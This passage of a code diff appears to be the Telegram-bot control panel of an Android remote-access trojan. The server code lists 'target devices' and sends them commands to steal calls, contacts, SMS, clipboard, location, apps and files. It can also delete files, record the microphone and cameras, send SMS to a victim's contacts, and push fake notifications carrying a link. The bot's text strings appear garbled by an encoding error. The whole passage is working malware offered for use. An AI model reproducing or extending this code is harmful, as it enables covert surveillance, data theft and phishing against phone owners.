+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐๐ค๐ฌ ๐ก๐ค๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐๐ ๐จ๐๐ก๐๐๐ ๐๐๐ข๐๐ง๐ ๐ฉ๐ค ๐๐ ๐ง๐๐๐ค๐ง๐๐๐')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`rec_camera_selfie:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐๐๐ฉ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐ค๐ฃ ๐ฉ๐๐ ๐ฉ๐๐ง๐๐๐ฉ ๐๐๐ซ๐๐๐')) {
+ const toastMessage = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`toast:${toastMessage}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ฅ๐ฅ๐๐๐ง ๐๐จ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ')) {
+ const notificationMessage = message.text
+ currentTitle = notificationMessage
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ ๐ค๐ฅ๐๐ฃ๐๐ ๐๐ฎ ๐ฉ๐๐ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ\n\n' +
+ 'โข แดกสแดษด แดสแด แด ษชแดแดษชแด แดสษชแดแด๊ฑ แดษด แดสแด ษดแดแดษช๊ฐษชแดแดแดษชแดษด, แดสแด สษชษดแด สแดแด แดสแด แดษดแดแดสษชษดษข แดกษชสส สแด แดแดแดษดแดแด
',
+ {reply_markup: {force_reply: true}}
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ง๐๐๐ฉ, ๐ฃ๐ค๐ฌ ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ ๐ค๐ฅ๐๐ฃ๐๐ ๐๐ฎ ๐ฉ๐๐ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ')) {
+ const link = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`show_notification:${currentTitle}/${link}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐๐ช๐๐๐ค ๐ก๐๐ฃ๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐ฅ๐ก๐๐ฎ')) {
+ const audioLink = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`play_audio:${audioLink}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ }
+ if (id == chatId) {
+ if (message.text == '/start') {
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐๐ก๐๐ค๐ข๐ ๐ฉ๐ค ๐๐๐ฉ ๐ฅ๐๐ฃ๐๐ก\n\n' +
+ 'โข ษช๊ฐ แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด, แดกแดษชแด ๊ฐแดส แดสแด แดแดษดษดแดแดแดษชแดษด\n\n' +
+ 'โข แดกสแดษด สแดแด สแดแดแดษชแด แด แดสแด แดแดษดษดแดแดแดษชแดษด แดแด๊ฑ๊ฑแดษขแด, ษชแด แดแดแดษด๊ฑ แดสแดแด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด ษช๊ฑ แดแดษดษดแดแดแดแดแด
แดษดแด
สแดแดแด
ส แดแด สแดแดแดษชแด แด แดสแด แดแดแดแดแดษดแด
\n\n' +
+ 'โข แดสษชแดแด แดษด แดสแด แดแดแดแดแดษดแด
สแดแดแดแดษด แดษดแด
๊ฑแดสแดแดแด แดสแด แด
แด๊ฑษชสแดแด
แด
แดแด ษชแดแด แดสแดษด ๊ฑแดสแดแดแด แดสแด แด
แด๊ฑษชสแดแด
แดแดแดแดแดษดแด
แดแดแดษดษข แดสแด แดแดแดแดแดษดแด
๊ฑ\n\n' +
+ 'โข ษช๊ฐ สแดแด ษขแดแด ๊ฑแดแดแดแด ๊ฑแดแดแดแดกสแดสแด ษชษด แดสแด สแดแด, ๊ฑแดษดแด
/start แดแดแดแดแดษดแด
',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.text == '๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ') {
+ if (appClients.size == 0) {
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ฃ๐ ๐๐๐ซ๐๐๐๐จ ๐๐ซ๐๐๐ก๐๐๐ก๐\n\n' +
+ 'โข แดแดแดแด ๊ฑแดสแด แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด'
+ )
+ } else {
+ let text = 'ยฐโข ๐๐๐จ๐ฉ ๐ค๐ ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ :\n\n'
+ appClients.forEach(function (value, key, map) {
+ text += `โข แด
แดแด ษชแดแด แดแดแด
แดส : ${value.model}\n` +
+ `โข สแดแดแดแดสส : ${value.battery}\n` +
+ `โข แดษดแด
สแดษชแด
แด แดส๊ฑษชแดษด : ${value.version}\n` +
+ `โข ๊ฑแดสแดแดษด สสษชษขสแดษดแด๊ฑ๊ฑ : ${value.brightness}\n` +
+ `โข แดสแดแด ษชแด
แดส : ${value.provider}\n\n`
+ })
+ appBot.sendMessage(id, text, {parse_mode: "HTML"})
+ }
+ }
+ if (message.text == '๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐') {
+ if (appClients.size == 0) {
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค ๐๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ฃ๐ ๐๐๐ซ๐๐๐๐จ ๐๐ซ๐๐๐ก๐๐๐ก๐\n\n' +
+ 'โข แดแดแดแด ๊ฑแดสแด แดสแด แดแดแดสษชแดแดแดษชแดษด ษช๊ฑ ษชษด๊ฑแดแดสสแดแด
แดษด แดสแด แดแดสษขแดแด แด
แดแด ษชแดแด'
+ )
+ } else {
+ const deviceListKeyboard = []
+ appClients.forEach(function (value, key, map) {
+ deviceListKeyboard.push([{
+ text: value.model,
+ callback_data: 'device:' + key
+ }])
+ })
+ appBot.sendMessage(id, 'ยฐโข ๐๐๐ก๐๐๐ฉ ๐๐๐ซ๐๐๐ ๐ฉ๐ค ๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐', {
+ "reply_markup": {
+ "inline_keyboard": deviceListKeyboard,
+ },
+ })
+ }
+ }
+ } else {
+ appBot.sendMessage(id, 'ยฐโข ๐๐๐ง๐ข๐๐จ๐จ๐๐ค๐ฃ ๐๐๐ฃ๐๐๐')
+ }
+})
+appBot.on("callback_query", (callbackQuery) => {
+ const msg = callbackQuery.message;
+ const data = callbackQuery.data
+ const commend = data.split(':')[0]
+ const uuid = data.split(':')[1]
+ console.log(uuid)
+ if (commend == 'device') {
+ appBot.editMessageText(`ยฐโข ๐๐๐ก๐๐๐ฉ ๐๐ค๐ข๐ข๐๐ฃ๐ ๐๐ค๐ง ๐๐๐ซ๐๐๐ : ${appClients.get(data.split(':')[1]).model}`, {
+ width: 10000,
+ chat_id: id,
+ message_id: msg.message_id,
+ reply_markup: {
+ inline_keyboard: [
+ [
+ {text: '๐ผ๐ฅ๐ฅ๐จ', callback_data: `apps:${uuid}`},
+ {text: '๐ฟ๐๐ซ๐๐๐ ๐๐ฃ๐๐ค', callback_data: `device_info:${uuid}`}
+ ],
+ [
+ {text: '๐๐๐ฉ ๐๐๐ก๐', callback_data: `file:${uuid}`},
+ {text: '๐ฟ๐๐ก๐๐ฉ๐ ๐๐๐ก๐', callback_data: `delete_file:${uuid}`}
+ ],
+ [
+ {text: '๐พ๐ก๐๐ฅ๐๐ค๐๐ง๐', callback_data: `clipboard:${uuid}`},
+ {text: '๐๐๐๐ง๐ค๐ฅ๐๐ค๐ฃ๐', callback_data: `microphone:${uuid}`},
+ ],
+ [
+ {text: '๐๐๐๐ฃ ๐๐๐ข๐๐ง๐', callback_data: `camera_main:${uuid}`},
+ {text: '๐๐๐ก๐๐๐ ๐๐๐ข๐๐ง๐', callback_data: `camera_selfie:${uuid}`}
+ ],
+ [
+ {text: '๐๐ค๐๐๐ฉ๐๐ค๐ฃ', callback_data: `location:${uuid}`},
+ {text: '๐๐ค๐๐จ๐ฉ', callback_data: `toast:${uuid}`}
+ ],
+ [
+ {text: '๐พ๐๐ก๐ก๐จ', callback_data: `calls:${uuid}`},
+ {text: '๐พ๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ', callback_data: `contacts:${uuid}`}
+ ],
+ [
+ {text: '๐๐๐๐ง๐๐ฉ๐', callback_data: `vibrate:${uuid}`},
+ {text: '๐๐๐ค๐ฌ ๐ฃ๐ค๐ฉ๐๐๐๐๐๐ฉ๐๐ค๐ฃ', callback_data: `show_notification:${uuid}`}
+ ],
+ [
+ {text: '๐๐๐จ๐จ๐๐๐๐จ', callback_data: `messages:${uuid}`},
+ {text: '๐๐๐ฃ๐ ๐ข๐๐จ๐จ๐๐๐', callback_data: `send_message:${uuid}`}
+ ],
+ [
+ {text: '๐๐ก๐๐ฎ ๐๐ช๐๐๐ค', callback_data: `play_audio:${uuid}`},
+ {text: '๐๐ฉ๐ค๐ฅ ๐๐ช๐๐๐ค', callback_data: `stop_audio:${uuid}`},
+ ],
+ [
+ {
+ text: '๐๐๐ฃ๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ',
+ callback_data: `send_message_to_all:${uuid}`
+ }
+ ],
+ ]
+ },
+ parse_mode: "HTML"
+ })
+ }
+ if (commend == 'calls') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('calls');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'contacts') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('contacts');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'messages') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('messages');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'apps') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('apps');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'device_info') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('device_info');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'clipboard') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('clipboard');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'camera_main') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('camera_main');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'camera_selfie') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('camera_selfie');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'location') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('location');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'vibrate') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('vibrate');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'stop_audio') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('stop_audio');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ค๐ช๐ง ๐ง๐๐ฆ๐ช๐๐จ๐ฉ ๐๐จ ๐ค๐ฃ ๐ฅ๐ง๐ค๐๐๐จ๐จ\n\n' +
+ 'โข สแดแด แดกษชสส สแดแดแดษชแด แด แด สแด๊ฑแดแดษด๊ฑแด ษชษด แดสแด ษดแดxแด ๊ฐแดแดก แดแดแดแดษดแด๊ฑ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["๐พ๐ค๐ฃ๐ฃ๐๐๐ฉ๐๐ ๐๐๐ซ๐๐๐๐จ"], ["๐๐ญ๐๐๐ช๐ฉ๐ ๐๐ค๐ข๐ข๐๐ฃ๐"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'send_message') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id, 'ยฐโข ๐๐ก๐๐๐จ๐ ๐ง๐๐ฅ๐ก๐ฎ ๐ฉ๐๐ ๐ฃ๐ช๐ข๐๐๐ง ๐ฉ๐ค ๐ฌ๐๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐๐ ๐๐๐\n\n' +
+ 'โขษช๊ฐ สแดแด แดกแดษดแด แดแด ๊ฑแดษดแด
๊ฑแด๊ฑ แดแด สแดแดแดส แดแดแดษดแดสส ษดแดแดสแดส๊ฑ, สแดแด แดแดษด แดษดแดแดส แดสแด ษดแดแดสแดส แดกษชแดส แดขแดสแด แดแด แดสแด สแดษขษชษดษดษชษดษข, แดแดสแดสแดกษช๊ฑแด แดษดแดแดส แดสแด ษดแดแดสแดส แดกษชแดส แดสแด แดแดแดษดแดสส แดแดแด
แด',
+ {reply_markup: {force_reply: true}})
+ currentUuid = uuid
+ }
+ if (commend == 'send_message_to_all') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ข๐๐จ๐จ๐๐๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐จ๐๐ฃ๐ ๐ฉ๐ค ๐๐ก๐ก ๐๐ค๐ฃ๐ฉ๐๐๐ฉ๐จ\n\n' +
+ 'โข สแด แดแดสแด๊ฐแดส แดสแดแด แดสแด แดแด๊ฑ๊ฑแดษขแด แดกษชสส ษดแดแด สแด ๊ฑแดษดแด ษช๊ฐ แดสแด ษดแดแดสแดส แด๊ฐ แดสแดสแดแดแดแดส๊ฑ ษชษด สแดแดส แดแด๊ฑ๊ฑแดษขแด ษช๊ฑ แดแดสแด แดสแดษด แดสสแดแดกแดแด
',
+ {reply_markup: {force_reply: true}}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'file') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐ค๐ฌ๐ฃ๐ก๐ค๐๐\n\n' +
+ 'โข สแดแด แด
แด ษดแดแด ษดแดแดแด
แดแด แดษดแดแดส แดสแด ๊ฐแดสส ๊ฐษชสแด แดแดแดส, แดแด๊ฑแด แดษดแดแดส แดสแด แดแดษชษด แดแดแดส. ๊ฐแดส แดxแดแดแดสแด, แดษดแดแดส DCIM/Camera แดแด สแดแดแดษชแด แด ษขแดสสแดสส ๊ฐษชสแด๊ฑ.',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'delete_file') {
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ 'ยฐโข ๐๐ฃ๐ฉ๐๐ง ๐ฉ๐๐ ๐ฅ๐๐ฉ๐ ๐ค๐ ๐ฉ๐๐ ๐๐๐ก๐ ๐ฎ๐ค๐ช ๐ฌ๐๐ฃ๐ฉ ๐ฉ๐ค ๐๐๐ก๐๐ฉ๐\n\n' +
+ 'โข สแดแด แด
แด ษดแดแด ษดแดแดแด
แดแด แดษดแดแดส แดสแด ๊ฐแดสส ๊ฐษชสแด แดแดแดส, แดแด๊ฑแด แดษดแดแดส แดสแด แดแดษชษด แดแดแดส. ๊ฐแดส แดxแดแดแดสแด, แดษดแดแดส DCIM/Camera แดแด แด
แดสแดแดแด ษขแดสสแดสส ๊ฐษชสแด๊ฑ.',
+ {reply_markup: {force_reply: true}, parse_mode: "HTML"}
+ )
+ currentUuid = uuid
+ }
+ if (commend == 'microphone') {
+ appBot.deleteMessage(id, msg.message_id)
